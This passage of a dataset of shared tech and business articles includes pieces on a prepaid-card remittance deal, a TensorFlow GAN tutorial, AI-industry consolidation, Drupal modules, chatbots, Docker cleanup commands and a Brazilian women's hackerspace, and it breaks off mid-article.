1472093273,CONTENT SHARED,-4866987227632887920,3217014177234377440,6399328642502028614,,,,HTML,http://convergecom.com.br/tiinside/webinside/estrategia/24/08/2016/endered-e-small-world-fazeme-parceria-para-remessas-de-valores-atraves-de-cartoes/,Endered e Small World fazeme parceria para remessas de valores através de cartões,"Endered e Small World fazeme parceria para remessas de valores através de cartões A Edenred, detentora das marcas Ticket, Accentiv'Mimética e Repom, acaba de anunciar uma parceria estratégica de sua unidade de negócios Edenred | Soluções Pré-pagas com a empresa Small World, prestadora de serviços de pagamentos europeia. O objetivo é atingir clientes estrangeiros da Small World, que necessitam enviar dinheiro para pessoas ou familiares que moram no Brasil, de uma maneira segura, simples e de baixo custo. Com a solução oferecida pela Edenred | Soluções Pré-pagas, os clientes da Small World residentes fora do Brasil poderão enviar dinheiro para seus familiares por meio de um cartão pré-pago, ao invés de depositar o montante diretamente na conta bancária. ""Nosso objetivo é facilitar a transação financeira de clientes que possuem família no Brasil. Muitas vezes esse trâmite é burocrático, principalmente entre imigrantes que não possuem conta bancária no país. Além disso, essa medida é muito mais segura e rápida para o usuário"", comenta Cyrille Verdier, diretor de Estratégia e Desenvolvimento da Edenred Brasil e responsável pelo lançamento da unidade de soluções pré-pagas da empresa no país. A Small World opera em toda União Europeia, na América do Norte e do Sul, na África e Ásia, permitindo que seus clientes enviem dinheiro para 195 países ao redor do mundo. Os serviços estão disponíveis on-line, para qualquer dispositivo móvel, e em lojas físicas, por meio de uma rede global de agentes independentes. Uma das vantagens que a solução proporciona é o rastreamento de transações efetuadas com o cartão e a possibilidade de contar com um meio de pagamento alternativo, além de ser a única opção viável para aqueles que não possuem conta bancária no país. ""É um processo extremamente positivo para os clientes, já que o cartão pré-pago utiliza taxas melhores que as praticadas pelos bancos, o câmbio é mais valioso e o dinheiro estará disponível mais rápido"", comenta Fabiano Miranda, country manager da Small World no Brasil. Futuramente, as duas empresas pretendem expandir esse serviço a imigrantes que residem no Brasil. A expectativa da empresa é que, de médio a longo prazo, esse público tenha autonomia para abastecer seu próprio cartão pré-pago, gerando mais serviços e facilidades para os consumidores. Edenred I Soluções Pré-Pagas Em abril desse ano, a Edenred anunciou o lançamento de sua nova unidade de negócios no Brasil, a Edenred | Soluções Pré-pagas, para atuar no processamento de soluções e cartões pré-pagos. A empresa já atua neste mercado na Europa, por meio da PrePay Solutions, onde já processa mais de 500 milhões de transações anualmente, oferecendo cartões pré-pagos para diferentes usos: premiações, presentes, incentivos e recompensas, despesas de viagem e uso no dia a dia. A nova unidade no Brasil se apoia na escala, nos investimentos tecnológicos e no amplo conhecimento de mercado da Edenred para oferecer programas e soluções personalizadas e de baixo custo para os operadores de cartões pré-pagos no mercado brasileiro, em diferentes segmentos. Para estabelecer a nova operação e desenvolver a plataforma de processamento, foram investidos R$ 10 milhões nos últimos dois anos. A nova unidade de negócios já nasceu com 300 mil cartões em operação e oferece um portfólio de soluções altamente diferenciadas e competitivas para os principais mercados de pré-pagos do país, como varejo, incentivo e fidelidade, recursos humanos, saúde, entre outros. Tags: Accentiv'Mimética , meios de pagamentos , remessa de valores , Repom , Ticket",pt
1472116516,CONTENT SHARED,-5802731238371220572,-1443636648652872475,-3820899136082165561,,,,HTML,http://blog.aylien.com/introduction-generative-adversarial-networks-code-tensorflow/,An introduction to Generative Adversarial Networks (with code in TensorFlow),"There has been a large resurgence of interest in generative models recently (see this blog post by OpenAI for example). These are models that can learn to create data that is similar to data that we give them. The intuition behind this is that if we can get a model to write high-quality news articles for example, then it must have also learned a lot about news articles in general. Or in other words, the model should also have a good internal representation of news articles. We can then hopefully use this representation to help us with other related tasks, such as classifying news articles by topic. Actually training models to create data like this is not easy, but in recent years a number of methods have started to work quite well. One such promising approach is using Generative Adversarial Networks (GANs). The prominent deep learning researcher and director of AI research at Facebook, Yann LeCun, recently cited GANs as being one of the most important new developments in deep learning: ""There are many interesting recent development in deep learning...The most important one, in my opinion, is adversarial training (also called GAN for Generative Adversarial Networks). This, and the variations that are now being proposed is the most interesting idea in the last 10 years in ML, in my opinion."" - Yann LeCun The rest of this post will describe the GAN formulation in a bit more detail, and provide a brief example (with code in TensorFlow) of using a GAN to solve a toy problem. Discriminative vs. Generative models Before looking at GANs, let's briefly review the difference between generative and discriminative models: A discriminative model learns a function that maps the input data ( x ) to some desired output class label ( y ). In probabilistic terms, they directly learn the conditional distribution P(y|x) . A generative model tries to learn the joint probability of the input data and labels simultaneously, i.e. P(x,y) . This can be converted to P(y|x) for classification via Bayes rule, but the generative ability could be used for something else as well, such as creating likely new (x, y) samples. Both types of models are useful, but generative models have one interesting advantage over discriminative models - they have the potential to understand and explain the underlying structure of the input data even when there are no labels. This is very desirable when working on data modelling problems in the real world, as unlabelled data is of course abundant, but getting labelled data is often expensive at best and impractical at worst. Generative Adversarial Networks GANs are an interesting idea that were first introduced in 2014 by a group of researchers at the University of Montreal lead by Ian Goodfellow (now at OpenAI). The main idea behind a GAN is to have two competing neural network models. One takes noise as input and generates samples (and so is called the generator). The other model (called the discriminator) receives samples from both the generator and the training data, and has to be able to distinguish between the two sources. These two networks play a continuous game, where the generator is learning to produce more and more realistic samples, and the discriminator is learning to get better and better at distinguishing generated data from real data. These two networks are trained simultaneously, and the hope is that the competition will drive the generated samples to be indistinguishable from real data. The analogy that is often used here is that the generator is like a forger trying to produce some counterfeit material, and the discriminator is like the police trying to detect the forged items. This setup may also seem somewhat reminiscent of reinforcement learning , where the generator is receiving a reward signal from the discriminator letting it know whether the generated data is accurate or not. The key difference with GANs however is that we can backpropagate gradient information from the discriminator back to the generator network, so the generator knows how to adapt its parameters in order to produce output data that can fool the discriminator. So far GANs have been primarily applied to modelling natural images. They are now producing excellent results in image generation tasks , generating images that are significantly sharper than those trained using other leading generative methods based on maximum likelihood training objectives. Here are some examples of images generated by GANs: Generated bedrooms. Source: ""Unsupervised Representation Learning with Deep Convolutional Generative Adversarial Networks"" Generated CIFAR-10 samples. Source: ""Improved Techniques for Training GANs"" Approximating a 1D Gaussian distribution To get a better understanding of how this all works, we'll use a GAN to solve a toy problem in TensorFlow - learning to approximate a 1-dimensional Gaussian distribution. This is based on a with a similar goal by Eric Jang. The full source code for our demo is available on Github ( ), here we will just focus on some of the more interesting parts of the code. First we create the ""real"" data distribution, a simple Gaussian with mean 4 and standard deviation of 0.5. It has a sample function that returns a given number of samples (sorted by value) from the distribution. The data distribution that we will try to learn looks like this: We also define the generator input noise distribution (with a similar sample function). Following Eric Jang's , we also go with a stratified sampling approach for the generator input noise - the samples are first generated uniformly over a specified range, and then randomly perturbed. Our generator and discriminator networks are quite simple. The generator is a linear transformation passed through a nonlinearity (a softplus function), followed by another linear transformation. In this case we found that it was important to make sure that the discriminator is more powerful than the generator, as otherwise it did not have sufficient capacity to learn to be able to distinguish accurately between generated and real samples. So we made it a deeper neural network, with a larger number of dimensions. It uses tanh nonlinearities in all layers except the final one, which is a sigmoid (the output of which we can interpret as a probability). We can then connect these pieces together in a TensorFlow graph. We also define loss functions for each network, with the goal of the generator being simply to fool the discriminator. We create optimizers for each network using the plain GradientDescentOptimizer in TensorFlow with exponential learning rate decay. We should also note that finding good optimization parameters here did require some tuning. To train the model, we draw samples from the data distribution and the noise distribution, and alternate between optimizing the parameters of the discriminator and the generator. The following animation shows how the generator learns to approximate the data distribution during training: We can see that at the start of the training process, the generator was producing a very different distribution to the real data. It eventually learned to approximate it quite closely (somewhere around frame 750), before converging to a narrower distribution focused on the mean of the input distribution. After training, the two distributions look something like this: This makes sense intuitively. The discriminator is looking at individual samples from the real data and from our generator. If the generator just produces the mean value of the real data in this simple example, then it is going to be quite likely to fool the discriminator. There are many possible solutions to this problem. In this case we could add some sort of early-stopping criterion, to pause training when some similarity threshold between the two distributions is reached. It is not entirely clear how to generalise this to bigger problems however, and even in the simple case, it may be hard to guarantee that our generator distribution will always reach a point where early stopping makes sense. A more appealing solution is to address the problem directly by giving the discriminator the ability to examine multiple examples at once. Improving sample diversity The problem of the generator collapsing to a parameter setting where it outputs a very narrow distribution of points is ""one of the main failure modes"" of GANs according to a recent paper by Tim Salimans and collaborators at OpenAI. Thankfully they also propose a solution: allow the discriminator to look at multiple samples at once, a technique that they call minibatch discrimination . In the paper, minibatch discrimination is defined to be any method where the discriminator is able to look at an entire batch of samples in order to decide whether they come from the generator or the real data. They also present a more specific algorithm which works by modelling the distance between a given sample and all other samples in the same batch. These distances are then combined with the original sample and passed through the discriminator, so it has the option to use the distance measures as well as the sample values during classification. The method can be loosely summarized as follows: Take the output of some intermediate layer of the discriminator. Multiply it by a 3D tensor to produce a matrix (of size num_kernels x kernel_dim in the code below). Compute the L 1 -distance between rows in this matrix across all samples in a batch, and then apply a negative exponential. The minibatch features for a sample are then the sum of these exponentiated distances. Concatenate the original input to the minibatch layer (the output of the previous discriminator layer) with the newly created minibatch features, and pass this as input to the next layer of the discriminator. In TensorFlow that translates to something like: We implemented the proposed minibatch discrimination technique to see if it would help with the collapse of the generator output distribution in our toy example. The new behaviour of the generator network during training is shown below. It's clear in this case that adding minibatch discrimination causes the generator to maintain most of the width of the original data distribution (although it's still not perfect). After convergence the distributions now look like this: One final point on minibatch discrimination is that it makes the batch size even more important as a hyperparameter. In our toy example we had to keep batches quite small (less than around 16) for training to converge. Perhaps it would be sufficient to just limit the number of samples that contribute to each distance measure rather than use the full batch, but again this another parameter to tune. Final thoughts Generative Adversarial Networks are an interesting development, giving us a new way to do unsupervised learning. Most of the successful applications of GANs have been in the domain of computer vision, but here at Aylien we are researching ways to apply these techniques to natural language processing. If you're working on the same idea and would like to compare notes then please get in touch. One big open problem in this area is how best to evaluate these sorts of models. In the image domain it is quite easy to at least look at the generated samples, although this is obviously not a satisfying solution. In the text domain this is even less useful (unless perhaps your goal is to generate prose). With generative models that are based on maximum likelihood training, we can usually produce some metric based on likelihood (or some lower bound to the likelihood) of unseen test data, but that is not applicable here. Some GAN papers have produced likelihood estimates based on kernel density estimates from generated samples, but this technique seems to break down in higher dimensional spaces. Another solution is to only evaluate on some downstream task (such as classification). If you have any other suggestions then we would love to hear from you. More information If you want to learn more about GANs we recommend starting with the following publications: Feel free to reuse our GAN code , and of course keep an eye on our . Comments, corrections and feedback are welcome. Author",en
1472116962,CONTENT SHARED,-3450690190989108770,-1443636648652872475,-3820899136082165561,,,,HTML,https://techcrunch.com/2016/08/24/why-ai-consolidation-will-create-the-worst-monopoly-in-us-history/,Why AI consolidation will create the worst monopoly in US history,"Forget Hillary Clinton and Donald Trump - we need a trust-buster like Teddy Roosevelt, who in 1902 attacked the Northern Securities Company, a railroad holding company led by J.P. Morgan and James J. Hill. Amid the flurry of recent tech M&A deals, you would be forgiven for missing a relatively quiet acquisition: Apple bought Seattle-based artificial intelligence startup Turi for around $200 million. On its own, the Turi deal wouldn't raise eyebrows were it not for the record amount of M&A in artificial intelligence, with the giants Alphabet, Amazon, Apple, Facebook and Microsoft leading transactions. Consolidation in any market is expected, but AI is consolidating at such a rapid clip, at such an early stage and by so few companies that there are strong reasons to be concerned. Congratulations should be extended to Turi's founders and investors, and, to a lesser extent, Apple for reaching an agreement favorable to both parties. However, congratulations must end there. The biggest losers in the Apple-Turi acquisition are likely to be literally everyone else aside from Apple and Turi shareholders. But first, a bit of context: According to recent research by CB Insights , mergers and acquisitions of AI startups increased by a factor of seven between 2011 and 2015. More than 30 private companies working to advance artificial intelligence technologies have been acquired in the last five years by corporate giants competing in the space. There have been six major acquisitions already in 2016. Alphabet's Google is leading the acquisition race, having made around 10 acquisitions of AI or machine learning startups in the past five years, followed by Apple, which has bought three. To make matters worse, most AI startups have been acquired within four years of their first funding round - demonstrating that it's not so much a well-developed product that these tech giants are after, but rather the technical talent and intellectual property at stake. The biggest tech companies in the world are in the middle of a shopping spree for AI companies. These figures are astonishing, and the Turi acquisition is emblematic of how the biggest tech companies in the world are in the middle of a shopping spree for AI companies. Google DeepMind CEO Demis Hassabis was right to point out that the benefits of AI should accrue to everyone, not just the few. ""I think ultimately the control of this technology should belong to the world, and we need to think about how that's done,"" he said . Hassabis and Alphabet just happen to be one of five companies that are doing exactly the opposite. When five companies have dominant control over the talent and IP behind an emerging, potentially transformational field such as AI, it hurts everyone beyond the acquired and acquirer. This is true for a number of reasons. First, early-stage acquisitions stunt the growth of the industry as a whole because the acquired company's products and solutions are often shelved in favor of the acquiring company's existing product road map. The startup's customers are also left stranded - Apple is unlikely to maintain Turi's existing customer base - leaving them to find new business partners (who may not yet exist). In addition, walled gardens inhibit innovation in favor of profit margins. While tech giants may open-source non-critical components of their software, they're unlikely to do so with their core components, as they want to maintain their competitive advantage. Collaboration and knowledge transfer are therefore discouraged. Any monopoly of power hurts end users and limits access to technology - and an AI monopoly is unlikely to be any different. Think of telco providers. One only needs to read a few online reviews to understand that being forced to choose between Time Warner and Verizon as your ISP is not a recipe for innovation or customer satisfaction. Alphabet, Amazon, Apple, Facebook and Microsoft will likely continue to poach new AI and machine learning startups, regardless of the cost to end users or the industry as a whole. These companies simultaneously sit on vast stores of user data that are rivaled only by governments. Only by making machine learning and AI more open, transparent and shareable - the opposite of what's happening now - will companies have a fighting chance to make AI something that benefits everyone. At the beginning of the 20th century, Teddy Roosevelt changed the course of American economic history by leading the charge against the monopolies of his day, such as those that dominated the oil and steel industries. Maybe it's time for a little trust-busting in what may be the most important field of our day: AI. Featured Image: wk1003mike / Shutterstock",en
1472129329,CONTENT SHARED,307952468886079288,-709287718034731589,-1147236519157684050,,,,HTML,http://www.macrumors.com/2016/08/24/apple-software-ebay-purchase/,Apple Adds to Vintage Software Collection With eBay Purchase,"An Apple collector who was selling his vintage Apple software collection on eBay received a surprise earlier this month when Apple itself bought out much of his software inventory for its software archives (via MacGeneration ). According to seller ""Marcoguy,"" he made several listings of various Apple CDs and received a message from someone asking to buy a dozen discs. When he went to ship the package, he noticed it was going to 1 Infinite Loop in Cupertino, California, Apple's corporate address. Upon asking the buyer about the purchase, he was told that Apple maintains a lab at its headquarters containing archived materials. ""We were missing some of the disks that you placed on eBay,"" wrote the buyer. So yeah, Apple bought some of their own software back from me. :) Feel free to post if you've had a similar experience, as I would love to hear about it. I knew Microsoft has a pretty robust archive of their history, but I wasn't aware Apple does too until this happened. Just goes to show how necessary this community is. If is wasn't for collectors like us, so much software would just be lost, out of the grasp of even the companies that produced it. It's not clear how much Apple paid to fill out its archives, but the seller lists his software at prices ranging from $9.95 to $19.95. It's also not known exactly what Apple purchased, but the seller is offering many rare CDs from the early 90s, including a beta version of Apple's System 7 operating system and a disc from WWDC in 1994.",en
1472134485,CONTENT SHARED,6384824828701919724,3891637997717104548,1163493635618903775,,,,HTML,http://blog.openlucius.com/en/blog/14-cool-drupal-8-modules-site-builders-august-2016,14 Cool Drupal 8 modules for site builders | August 2016,"Here's what struck me last month about Drupal modules. This month I have chosen to focus on Drupal 8 as this is slowly becoming the go-to version - partly because many required modules have been migrated and grown up. 1. Require Login Make sure all your visitors on your Drupal website are obligated to log in. Handy for a Drupal intranet or social communities. It is possible to exclude certain paths so that they are publicly available. 2. 403 to 404 Mini module that ensures you will get to see a page not found on an access denied page . This way others will not found out that this page is an administration page. Global redirect contains a similar feature. 3. Block tabs Add tabs in blocks in order to cluster information. Similar to the Quick Tabs module. But Quick Tabs has no version for Drupal 8. Furthermore Block Tabs is offering integration with the Drupal 8 API, plugin system, block, entity and config API. Add CSS yourself to adjust the tabs according to your house style. 4. ShareThis Do you like to have social buttons so people can easily share pages on Facebook, Twitter and LinkedIn? Integrate the ShareThis social bookmarking service in your Drupal 8 website using this module to get you socialized in no time. 5. Page Load Progress Some heavy activities in a Drupal website can take a few seconds. In these cases it is preferable to lock the screen to avoid impatient users clicking other features. You can show a throbber and thus lock the screen using this module. 6. Adminimal Admin Toolbar (Drupal 8) The Drupal 8 admin toolbar is fine, but could be better. This version is inspired on the popular module Adminimal Administration Menu 7. Node Order Manually organizing nodes within a given Drupal taxonomy term . By default Drupal is sorting on sticky and date created . Using this module you can determine the order yourself. 8. Mail system This popular module is migrated to Drupal 8. This allows the administration of all kinds of actions related to sending an email from Drupal 8. For example: Formatting of emails in HTML Managing email per Drupal module Templates for e-mails 9. Optimizely Everybody should constantly be A/B testing for conversion optimization. Optimizely.com is such an A/B testing tool that integrates in your Drupal 8 website using this module. 10. Menu block Drupal 8 has standard features to place menus via blocks in your website. But it misses some features that are complemented by this module: Determine how many menu levels you want to show Set initial menu level Expand all Drupal menu items 11. Update External Links Open external links in text automatically in a new window to avoid people navigating accidentally away from your Drupal 8 website. Similar to the modules External links and External New Tab 12. Pinterest Hover button Simple module that let's you show automatically a pin it button as soon as website visitors hover over an image. Now also available for Drupal 8. 13. Easy Social Similar to the above mentioned 'ShareThis': make it easy to share your Drupal 8 content on social media platforms such as Twitter, Facebook and LinkedIn. This module is not using an external service unlike 'ShareThis'. 14. Chosen Makes selecting items (f.e. Drupal taxonomy terms) easier for content managers in your Drupal system. Now available for Drupal 8. Wrap up OK, that's it for now, stay tuned for more interesting Drupal stuff and next month again a cool Drupal modules update!",en
1472137844,CONTENT SHARED,-7162567255723313045,3915038251784681624,-1028166183424715247,,,,HTML,https://econsultancy.com/blog/68208-chatbots-are-they-better-without-the-chat/,Chatbots: Are they better without the chat?,"The title of Kik CEO Ted Livingston's recent Medium post , discussing the relative failure of early brand attempts at chatbots , says it all. With so many marketers parroting on about customer experience , we may have temporarily lost sight of what users really value - speed and convenience. To borrow a phrase, 'don't make me think.' Kik is a bot platform, which obviously makes Livingston best placed to make an authoritative assertion on the subject. Here, he adds some more context to the idea of conversation as a red herring: ""I believe we'll look back on the early emphasis on 'conversational commerce' as a mistake. ""Part of the misfire with the conversational aspect of bots has to do with the fact that natural language processing and artificial intelligence are not yet accomplished at managing human-like conversations."" So, it's not only users not wanting to think, but bots that are unable to (at least with the requisite accuracy). Poncho the Weathercat is often cited as a typical chatbot that, whilst it often works, can make for frustrating conversations. Poncho the weathercat is no Gerald or Joan! pic.twitter.com/LfWc7yedgu - Shane O Leary (@shaneoleary1) April 13, 2016 The WeChat template In his blog post, Livingston enumerates the advantages of messaging platforms and bots. They include: Less friction - one interface to master, a single download and sign-up. Discovery - more sharing of bots, through their inclusion in conversations between friends. Consolidation - fewer apps. Messaging as front door - services within a messenger, not vice versa. These are all characteristics of WeChat . QR codes aid quick discovery . WeChat public accounts (essentially messenger bots) have proliferated rapidly (there are over 10m) and 40% of WeChat users read content from public accounts daily. Mobile payment is also growing, as a service within Wechat. Peer-to-peer payment is one of the most used features - WePay popularity has surpassed Alipay (46% use WePay compared to 31% Alipay) in part because of the interface and this social element. It should be noted that WeChat public accounts, much like the later iterations of Facebook Messenger bots, include menus that further reduce friction when interacting in the messenger channel. QR codes allow access to public accounts. So, where do chatbots work well? WalkTheChat provides a nice summary of challenges that chatbots are best suited for: Narrow scope: Until artificial intelligence improves dramatically, responses are ultimately tied to decision trees, so a bot must occupy a niche, in order to provide accurate answers. Wide range of inputs: If input range is narrow (e.g. ecommerce, where form fields are satisfactory), chatbots will only serve to make the experience more drawn out. Chatbots work best when the questions users could ask are manyfold. Constantly evolving output: User inputs can be analysed in order to constantly improve output. This makes chatbots very useful in customer service situations, if given time to develop. The Alibaba chatbot allows a mixture of free input and multiple choice (often used to clarify input). Conclusion More sophisticated AI is creeping into chatbots, but until then, marketers should heed Ted Livingston's comments. Experimenting with chatbots is all about failing fast and being well-positioned to take advantage when the technology takes off. However, marketers shouldn't lose sight of what the user wants - experiences that are improved via messenger. The novelty factor is not enough to sustain usage of a service that isn't quicker or easier than existing solutions. So, what's the perfect use case for your business?",en
1472144417,CONTENT SHARED,8259682769688682084,-8020832670974472349,2320364724424979376,,,,HTML,https://lostechies.com/gabrielschenker/2016/08/14/containers-clean-up-your-house/,Containers - Clean up your House,"In this post I am going to revisit some of the most basic commands of the Docker CLI. But don't worry, you should still read this post since I am going to use that ""basic"" knowledge to discuss some advanced methods on how to keep your Docker environment clean. And, as we all know, only an orderly environment keeps us productive. As we play around with containers the list of running instances or instances that are in stopped or exited status grows longer and longer. This can lead to some serious memory and performance problems if we do not pay attention. First let's repeat some of the basic Docker commands that help us discover what's currently running or hanging around in our system. To get a list of the currently running containers we use the command This will list all the currently running containers on our system (or host). If we are using Docker for Mac or Docker for Windows that will be the mini-VM which represents the Docker Host on our development machine. In the image above we can see that I have currently 2 containers running on my system. One with Mongo DB and one with MySQL. The list shows the columns ID , Image , Command , Created , Status , Ports and Name . Image is the name of the Docker image from which I created the container(s) Name is the name of the container itself and needs to be unique ID is the unique generated ID of the Docker container instance Status tells us in what status the container currently is. It can be Created , Up (Running), or Exited ID and Name are most important to us when we try to manipulate a container, say stop it. If I want to e.g. stop the MySQL container I can do this using either of the following commands docker stop mysql or docker stop fc3e2d9e6e99 Note that I do NOT have to provide the full ID (i.e. fc3e2d9e6e99) to the command. Usually the first two to three characters are enough. Thus the following command works as well docker stop fc This is very convenient since it avoids us to have to type a lot. If we now issue a docker ps we won't see the mysql container anymore. The command only shows us the running containers. But MySQL is now in Exited status and thus not included in the list. If we want to see all containers, including the exited ones we have to add the command line parameter -a or --all to the command; thus If we do so we see this Note the status of the mysql container which is Exited . It is very important to know that the name of a container has to be unique. That means that in the above example I cannot start another container with the name mysql even thought the MySQL container is in Exited status and not running. We first have to remove this container. We can do so using docker rm mysql or docker rm fc3e2d9e6e99 Only then is the MySQL container completely gone and I can (if I want to) reuse the name mysql for another container. Please also note that I can only remove a container that is in Exited (or stopped) status. That is, if I have a running container then I need to first stop it and then I can remove it. That is sometimes a bit too much effort and therefore I can use a force remove to stop and remove a container in one single command. If I want to do this with my mongo container the command would then be docker rm -f mongo Notice the -f parameter. I could also use --force instead. Stopping or removing multiple containers Often times we have a bunch of containers running and want to stop or remove them all at once without having to type the respective command over and over for each instance. There we can use the fact that most of the Docker commands can deal with a list of items. Let's see how we can forcibly remove all containers currently running or hanging in our system docker rm --force $(docker ps --all --quiet) The above combined command uses docker ps with --all and --quite to generate a list of all IDs of the containers on my system. This list is then consumed by the docker rm --force command. And voila, all containers are gone. As always, I can also use the shorter form of arguments and even combine them. Thus instead of writing --all --quiet I can instead use -a -q or even -aq . Nice. So my short form of the above command is docker rm -f $(docker ps -aq) Much less typing - I love it. Since I use the above command so often, I have created an alias for it in my .bash_profile alias drmf='docker rm -f $(docker ps -aq)' As we work with Docker, over time we download a lot of images and we also generate a fair amount of images which all take up space and make the list of images looking messy when issuing the command docker images If I run the above command on my laptop currently I get the following output As you can see, that's a big mess and clearly deserves some cleanup. With the Docker CLI we can of course also remove specific obsolete images as follows docker rmi [image-id] For example I could remove the last image (the top one) in the list using docker rmi 6f3 If I have many images to delete I can provide a list of IDs instead to the docker rmi command. Once again it is useful to combine a few shell commands to achieve the goal. Let's say I want to delete all images that have a name and/or tag of none , then I can use this command to do so docker rmi $(docker images | grep ""<none>"" | awk '{print $3}') What does this command do? First let's look into the part in parentheses: we generate a list of all images using docker images pipe them into the grep ""<none>"" command which will filter out the lines form the list which contain ""none"" and then we pipe the result into the awk command. The awk filters out the 3rd column of the list which happens to be the IDs. Now having this list of IDs we feed them into the docker rmi command. Job done. Again, since I use this command so often I have created an alias/function in my bash profile for it dclean() { docker rmi -f $(docker images | grep $1 | awk '{print $3}'); } With this I can enter the following command in my console to achieve the same result which is way easier to remember and much shorter to type. The docker images command also has the parameter --quiet to just output the list of IDs of all images. I can use this fact to create a simple command to cleanup all images that are currently cached on my Docker host docker rmi $(docker images --quiet) After I have done this my Docker Host is clean and pristine. Sometimes Docker does not allow me to delete an image. Most often this is the case if I have still a container running that uses this image. Thus I have to first remove all containers before I can cleanup all my images. If we are using volumes with our Docker containers we might over time have some orphaned volumes hanging around in our system that occupy a lot of space. The consequences might be that all of a sudden we cannot start a new container anymore. To me it happened with the MongoDB container. Although I had no other containers running and very few images on my system the Mongo container would simply refuse to start and tell me that there is not enough space for it to create his journal file. The reason was, guess what, that I had plenty of orphaned volumes still hangign around. We can use this command to list all the volumes on our system docker volume ls On my machine this looks like this We can use the docker volume rm [volume name] command to remove individual volumes. Note that the volume name is often a long hash code and in this case we have to use the whole code as name; we cannot shorten it the same way as we can shorten the ID of an image or container in the context of certain Docker commands. Thus if I want to delete the first volume in the list I have to issue this docker volume rm 0d62e958fc4b9b63614e3ef0e024472880e946364bb29c42686914e6574bc238 If we want to remove all orphaned containers at once we can use this command docker volume rm $(docker volume ls | awk '{print $2}') Once we have removed all unnecessary volumes our system is clean and light weight again and in my particular case the mongo container would start happily as expected. In this post I have discussed various techniques and commands which allow us to keep our Docker environment clean and pristine. Three things we need to watch out for: containers that are either running or in status Exited , Docker images that are obsolete and finally orphaned Docker volumes. I am fully aware that I have repeated and discussed some of the basic commands of the Docker CLI yet I am not ashamed of it since only if I master the basic concepts blindly, I can also tackle and solve the more tricky problems in and around containers.",en
1472147904,CONTENT SHARED,1577045425286888616,-5527145562136413747,1870765774172567619,,,,HTML,http://www.brasilpost.com.br/xenya-bucchioni/quem-disse-que-ciencia-e-_b_11591826.html,"Por dentro do MariaLab: A tecnologia é área para as mulheres, sim!","Publicado: Ainda muito dominado pelos homens, o universo da ciência e da tecnologia tem atraído, cada vez mais, o público feminino. Foi pensando em impulsionar esse cenário que surgiu o MariaLab Hackerspace, um coletivo formado em 2013 disposto a criar um ambiente seguro e estimulante para a troca de conhecimento entre mulheres . De lá para cá, a ideia não apenas deu certo como cresceu. Atualmente, o coletivo integra mulheres com as mais variadas vivências e tem marcado presença em espaços importantes como a Campus Party , onde, este ano, elas apresentaram um painel sobre a atuação do MariaLab na luta pela redução da desigualdade de gênero na tecnologia. A experiência de espaços que funcionem como um laboratório tem sido cada vez mais comum nos campos da educação e cultura. Qual o entendimento que vocês têm sobre essa ideia? Além da participação em eventos mistos, o coletivo tem orientado suas atividades para abarcar as minorias como mulheres negras, cis, trans e de genêro binário. Uma caminhada centrada no desejo de empoderar e emancipar as mulheres para que elas adquiram confiança, voz e vez na área de tecnologia. E como o MariaLab atua? Existe uma programação fechada? Gostaria que vocês contassem mais sobre as atividades do dia a dia Diante desse crescimento do MariaLab, qual o desafio atual em fazer a engrenagem funcionar? Na entrevista que segue, as mulheres do MariaLab contam mais sobre a trajetória do coletivo e os desafios de manter essa experiência. Ainda pensando nisso, qual a importância ou a participação dos editais governamentais para as atividades do MariaLab se manterem? MariaLab : A ideia dos laboratórios como espaço de troca de conhecimento e aprendizado insere-se no contexto da cultura maker, que estimula as pessoas a fazerem, por si próprias, o que quer que seja. Nos últimos anos, a inovação tecnológica tem resultado em uma série de ferramentas novas e em mudanças no processo de produção que impactam diretamente nos padrões de consumo e nas estruturas sociais como um todo. Contamos agora com impressoras 3D, com placas de hardware a custo reduzido etc. Além disso, a internet reduziu as distâncias geográficas e ampliou o alcance da comunicação, tornando-a praticamente imediata. O que uma pessoa posta no Egito pode ser lido em tempo real no mundo todo por um grande número de pessoas. Se eu coloco um projeto no GitHub [ uma rede social voltada aos programadores, onde é possível atuar de forma colaborativa ], qualquer pessoa pode replicá-lo e modificá-lo. Nesse novo mundo vemos uma valorização crescente de ideias como colaboração e horizontalidade, em detrimento da centralização e da hierarquia. Ou seja, todo mundo é ao mesmo tempo emissor e receptor do saber. E, isso, por sua vez, é uma das ideias centrais desses laboratórios. Nessa caminhada de vocês, qual o espaço ocupado pelos softwares livres? Vocês veem alguma resistência ou dificuldade em relação a esse uso por parte do público das oficinas? A organização do grupo conta atualmente com oito pessoas. Somos mulheres entre 25 e 35 anos, cis e trans, negras, brancas, mestiças, orientais, com distintas orientações sexuais e diferentes experiências profissionais, tentando trazer nossos olhares e diferenças para o funcionamento do grupo. Uma atividade regular tem sido o grupo de estudos para programadoras liderado pela Vanessa Tonini e que ocorre a cada 15 dias, e estamos avaliando possibilidades de um grupo de estudos voltados à administração de sistemas, área pouquíssimo explorada e incentivada às mulheres. Este ano, estamos tocando também outros dois projetos: Vedetas, uma servidora (licença poética por conta do recorte feminista) segura com serviços de colaboração, comunicação e hospedagem seguros para minimizar ataques contra coletivos e ativistas feministas, e oficinas de introdução a temas de tecnologia que envolvem o Prêmio Mulheres Tech em Sampa (manutenção de computadores, mercado de trabalho, dados abertos para estatísticas voltadas à mulher e programação). A melhor forma de saber as datas das oficinas referentes a cada um desses projetos é seguindo a gente no Facebook , e em breve em nosso site , que está passando por reformulações por conta do crescimento e da abrangência das atividades. Que balanço vocês fazem da trajetória destes três anos de existência do MariaLab? O principal desafio é o financiamento, seja para oferecer ""coffee"" às participantes durante as atividades ou para custear o transporte de quem vem de mais longe. Temos grande intenção em despertar o interesse pela tecnologia também por parte das mulheres da periferia e isso é bastante mitigado pela verba limitada, pela dificuldade de concessão de espaços com infraestrutura viável para oficinas fora dos centros e pelo fato de todas as organizadoras do MariaLab trabalharem de forma voluntária, o que, eventualmente, gera impedimentos sejam de tempo ou financeiros. Também sentimos falta de um espaço próprio, embora tenhamos acesso a espaços de parceiros. Um desafio adicional é despertar o interesse de novas tutoras e organizadoras. É comum perceber um certo distanciamento pelo fato de sermos um coletivo com proposta de hackerspace. Logo é preciso traçar estratégias para educar continuamente e lembrar que a cultura maker e hacker trata de fazer o melhor pela comunidade e pelas outras pessoas com o conhecimento e a tecnologia que cada um já tem, proporcionando a troca de experiências para aquisição dos conhecimentos que, ainda, não se possui. Neste sentido, a diversidade que alcançamos por meio da interseccionalidade ajuda muito, mas é um esforço contínuo para mostrar na prática e desenvolver um diálogo que torne outras mulheres mais confortáveis a contribuir com o que têm de melhor. Por conta dessas dificuldades, ainda é bastante complicado engajar mais pessoas em torno de editais. Felizmente, no momento, estamos conseguindo nos estruturar e nos articular tecnologicamente para organizar e encabeçar essas questões, visto que é um tema vital para nós o engajamento de mais mulheres na tecnologia e que essa tecnologia esteja a serviço da transparência das contas governamentais, 